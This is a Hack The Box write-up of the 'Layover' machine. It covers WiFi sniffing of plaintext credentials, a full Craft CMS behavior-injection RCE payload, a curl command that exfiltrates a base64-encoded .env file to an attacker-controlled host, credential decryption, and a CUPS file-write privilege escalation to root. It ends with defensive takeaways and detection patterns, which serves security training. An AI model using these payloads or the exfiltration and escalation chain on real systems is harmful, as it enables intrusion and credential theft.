Layover
Layover is a medium-difficulty Linux box themed around a corporate airport network with an internal, simulated WiFi segment.
- platform
- Hack The Box
- target_os
- Linux (Ubuntu)
- difficulty
- Medium
- season
- Season 12
- logged
- October 5, 2026
Summary of Exploitation
Layover is a medium-difficulty Linux box themed around a corporate airport network with an internal, simulated WiFi segment. Starting from a set of provided contractor credentials, the chain proceeds as follows:
- RDP foothold on a jumpbox — the provided creds (
contractor:Contractor2026!) authenticate over RDP (SSH password auth is disabled).airside-ws01is a deliberately weak LXD container wherecontractoris in thesudogroup, giving instant local root and a pivot point. - Simulated WiFi enumeration — the jumpbox exposes
mac80211_hwsimvirtual WiFi adapters. An open network,HTB International WiFi, is discovered and joined, landing an address in10.13.37.0/24. - Passive credential capture — a second adapter in monitor mode on channel 6 sniffs an employee bot logging into the airport portal over plaintext HTTP, leaking
jenny:Fl1ghtDeck2026!. - RCE in Craft CMS 5.9.8 — Jenny’s low-privileged admin access is enough to reach the
element-searchendpoint, which instantiates arbitrary Yii2 behaviors — a non-admin RCE viaPsy\Readline\Hoa\ConsoleProcessus. - Credential decryption → lateral movement — the CMS security key from
.envdecrypts the storedmailRelayPassword, yieldingaporter:Skyp0rt_Relay!26for SSH. [USER] - CVE-2026-34990 (CUPS 2.4.16) — any local user can coerce
cupsdinto leaking its local auth token, then abuse it to write an arbitrary file as root — here a sudoers fragment. [ROOT]
Recon Phase
A full-port scan was run against the target:
nmap -p- -A -Pn --min-rate 1000 -oA nmap.txt <target-ip>
Results:
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 9.6p1 (Ubuntu) |
| 3389 | open | ms-wbt-server / xrdp | RDP, no NLA |
Only two ports are exposed — unusually little surface for an HTB box, which is itself a hint that the initial vector is not a directly-exploitable web service. Port 3389 is RDP served by xrdp on Linux. The absence of NLA (Network Level Authentication) means the server accepts the connection before prompting for credentials — a production misconfiguration, and here the intended way in.
Rabbit hole — SSH. The box only accepts public-key auth for SSH, so the provided password never works there (
Permission denied (publickey,password)). The correct initial vector is RDP, not SSH.
Initial Access — RDP Jumpbox
The machine description provides starting credentials: contractor:Contractor2026!. Connect with any Linux RDP client:
rdesktop -u contractor -p 'Contractor2026!' -g 1280x1024 <target-ip>
This drops into an XFCE desktop on airside-ws01. The host is an LXD container — the eth0@if11 interface (a veth pair inside a network namespace) gives it away. Local root is immediate, because contractor is in the sudo group:
sudo bash # password: Contractor2026!
The jumpbox is intentionally weak. Its role in the story is to be a pivot into the internal WiFi segment, not the objective.
Internal Network Enumeration — Simulated WiFi
As root on airside-ws01, interface enumeration reveals something unusual:
ip a
6: wlan2: <NO-CARRIER,BROADCAST,MULTICAST,UP> ...
7: wlan3: <NO-CARRIER,BROADCAST,MULTICAST,UP> ...
10: eth0@if11: ... inet 10.159.143.45/24
Two idle WiFi interfaces (wlan2, wlan3) are backed by mac80211_hwsim — a Linux kernel module that simulates WiFi hardware for testing, producing fully virtual networks with real 802.11 behaviour (beacons, authentication, frame transmission).
Scanning surfaces one network:
iw dev wlan2 scan 2>/dev/null | grep SSID
# SSID: HTB International WiFi
The network is open (key_mgmt: NONE). Joining it assigns an address in 10.13.37.0/24:
nmcli dev wifi connect "HTB International WiFi" ifname wlan2
# 10.13.37.182/24
Credential Capture over Open WiFi
With wlan3 placed into monitor mode (captures all traffic on the medium without associating) on channel 6 (where the AP lives, per the scan), the traffic of other clients on the same open network becomes visible:
ip link set wlan3 down
iw dev wlan3 set type monitor
ip link set wlan3 up
iw dev wlan3 set channel 6
tshark -i wlan3 \
-Y 'http.request.method=="POST"' \
-T fields -e ip.src -e http.request.full_uri \
-e urlencoded-form.key -e urlencoded-form.value
Because the network has no WPA/WPA2 encryption, every frame is readable in clear text. A bot simulating an employee logs into the portal periodically over plaintext HTTP:
10.13.37.132 http://portal.international.htb/miles/login.php username,password jenny,Fl1ghtDeck2026!
Credentials captured: jenny:Fl1ghtDeck2026!. The portal server lives at 10.13.37.10:
echo "10.13.37.10 portal.international.htb" >> /etc/hosts
Portal Enumeration — Craft CMS
http://portal.international.htb runs Craft CMS 5.9.8, an enterprise PHP CMS built on the Yii2 framework; the admin panel is at /admin. Jenny’s credentials log in but land a limited account (userIsAdmin: false), and allowAdminChanges: false closes the obvious SSTI vector (injection into an Entry Type’s Title Format). The path forward is an endpoint that doesn’t care about admin status.
Exploitation Phase
Step 1 — RCE in Craft CMS (Yii2 behavior injection)
The endpoint /index.php?p=admin/actions/element-search/search accepts a JSON structure describing element-search conditions. Inside it, fieldLayouts can declare an as rce entry that specifies a Yii2 behavior — a class that extends a component’s functionality at runtime (composition instead of inheritance). The endpoint validates neither which behavior class is instantiated nor which methods it invokes.
The abused class is Psy\Readline\Hoa\ConsoleProcessus — part of PsySH (a PHP REPL), which uses Hoa\Console to run system processes. Its execute method runs a command supplied as a string or array. Passing the command as an array routes it through PHP’s exec() without a shell, sidestepping special-character escaping.
payload = {
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": ["sh", "-c", "<COMMAND>"]
}]
},
"on *": "self::beforeSave"
}]
},
"CRAFT_CSRF_TOKEN": csrf2
}
This is a non-admin RCE: any account that can reach the admin panel can trigger it.
Rabbit hole — cracking the admin hash. The Craft administrator’s bcrypt hash (
$2y$13$..., cost factor 13) would take ~8 days against rockyou.txt on a 12-core CPU. Not the path — the needed credentials come from decryptingmailRelayPassword(Step 2).
Because the command output isn’t reflected in the JSON response, it is exfiltrated over HTTP back to the jumpbox, which acts as the receiver:
cmd = ["sh", "-c",
"curl -s http://10.13.37.182:9999/$(cat /var/www/portal/.env | base64 -w0)"]
The CMS host base64-encodes the file and places it in the URL path; the jumpbox receives the request and decodes it.
Rabbit hole — direct reverse shell.
10.13.37.10has no egress to the attacker’stun0address; it can only reach the jumpbox at10.13.37.182. Reverse shells aimed at the HTB IP fail silently — stage everything through the jumpbox.
Step 2 — Decrypt the mail relay password
The exfiltrated /var/www/portal/.env yields the CMS security key:
CRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr
Jenny can reach the Database Backup panel; the SQL backup contains the htbairways_settings table with an encrypted secret:
mailRelayUser = aporter
mailRelayPassword = u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0...
Craft encrypts sensitive settings with Security::encryptByKey() (AES-256-GCM with HKDF key derivation), so the security key decrypts it. Run on the CMS host via the RCE:
cd /var/www/portal
php -r "
require 'vendor/autoload.php';
\$s = new \yii\base\Security();
echo \$s->decryptByKey(
base64_decode('u0E7OgbBeWhhPn1HajsFMDg...'),
'IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr'
);"
# Skyp0rt_Relay!26
Step 3 — Lateral movement: SSH as aporter [USER]
The decrypted credentials give direct SSH from the jumpbox:
sshpass -p 'Skyp0rt_Relay!26' ssh -o StrictHostKeyChecking=no aporter@10.13.37.10
aporter@portal:~$ cat user.txt
<user_flag_redacted>
aporter has no sudo rights and no privileged group membership. Post-access enumeration shows cupsd running as root on localhost:631.
Step 4 — Privilege escalation: CVE-2026-34990 (CUPS 2.4.16) [ROOT]
CUPS (Common Unix Printing System) is the standard Linux/macOS print stack; cupsd runs as root for hardware access and system-directory writes. CVE-2026-34990 affects CUPS 2.4.16 and chains four weaknesses:
CUPS-Create-Local-Printer— an IPP operation that creates a temporary printer and, by design, needs no admin authentication; any local user can call it. Itsdevice-urimay be an IPP URL.Authorization: Localtoken leak — to validate a temporary printer,cupsdmakes an outbound IPP connection to thatdevice-uri. If the URI points at a localhost service that repliesWWW-Authenticate: Local trc="y",cupsdretries and includes its local auth token in theAuthorization: Local <TOKEN>header.- Token reuse — any request to
/admin/on localhost carrying that token is treated as CUPS-administrator-authenticated. file://bypass — persistent printers rejectfile://URIs (theFileDevicepolicy). The bypass: create a temporary printer withfile:///path, then promote it withOP_ADD_MODIFY_PRINTERandprinter-is-temporary=falsewithout re-specifying thedevice-uri— at which point the policy is no longer enforced. Printing a job then opens the target withO_WRONLY|O_CREAT|O_TRUNCas root and writes the job body.
Chain:
unprivileged local user
└─ CUPS-Create-Local-Printer → temp printer, device-uri = ipp://localhost:9189/
└─ cupsd connects to 9189 to validate
└─ rogue server captures Authorization: Local <TOKEN>
└─ with TOKEN → OP_ADD_MODIFY_PRINTER → permanent printer, file:///etc/sudoers.d/aporter-pwn
└─ Print-Job → cupsd writes as root: "aporter ALL=(ALL) NOPASSWD: ALL"
└─ sudo -n bash → root
Execution:
python3 /tmp/cups_root.py
[+] Local token: 8A8B4991E5C14CEA069BA9824C9C85FB
[*] step 1: write sudoers fragment
[*] sudo -n id -> uid=0(root) gid=0(root) groups=0(root)
[+] ROOT via sudoers
Rabbit hole — cups-browsed. The well-known CVE-2024-47176 chain needs the
cups-browseddaemon (UDP 631). It isn’t installed here; onlycupsdruns, so that variant is a dead end.
Root Flag Successfully Obtained
sudo -n bash
cat /root/root.txt
# <root_flag_redacted>
Key Takeaways
- Minimal attack surface is itself a signal. Only 22 and 3389 exposed pointed away from a conventional web exploit and toward the RDP jumpbox as the intended entry.
- Open WiFi means clear-text everything. With no WPA2/WPA3, any client in monitor mode reads all frames; plaintext HTTP auth over that “corporate” network handed over Jenny’s credentials. Enforce WPA3-Enterprise and mandatory TLS on internal apps regardless of network trust, and hunt for clients in monitor mode via 802.11 management-frame anomalies.
- Behavior/gadget injection needs no admin. Craft’s
element-search/searchinstantiated arbitrary PHP classes from unsanitised condition data. Patch to 5.9.9+ and alert onelement-search/searchrequests containing__class,ConsoleProcessus, orAttributeTypecastBehavior. - Encrypted-at-rest is only as good as key custody. The
mailRelayPasswordwas properly encrypted, butCRAFT_SECURITY_KEYsat in a.envon the same host — one RCE recovers both. Keep secrets in a separate manager (Vault, AWS Secrets Manager) fetched at runtime, not on disk beside the ciphertext. cupsdruns as root — treat it as privileged surface. CVE-2026-34990’sCUPS-Create-Local-Printerneeds no admin and allowedfile://writes via a capturable local token. Patch to CUPS 2.4.17+; alert oncupsdoutbound connections to non-standard localhost ports and oncupsdwrites to/etc/sudoers.d/or/etc/cron.d/.- Constrained egress shapes the whole operation. The CMS host could only talk to the jumpbox, so exfil and tooling had to be staged through it — recognising the egress boundary early saved dead-end reverse-shell attempts.
Full Attack Chain
contractor (given creds)
└─ RDP → jumpbox airside-ws01 (LXD) ──> local root, pivot
└─ mac80211_hwsim WiFi → join "HTB International WiFi" (10.13.37.0/24)
└─ wlan3 monitor mode → sniff plaintext POST ──> jenny:Fl1ghtDeck2026!
└─ Craft CMS 5.9.8 Yii2 behavior injection ──> RCE (non-admin)
└─ exfil .env (CRAFT_SECURITY_KEY) → decrypt mailRelayPassword
└─ SSH as aporter ──> [USER]
└─ CVE-2026-34990 (CUPS 2.4.16) → sudoers write ──> root [ROOT]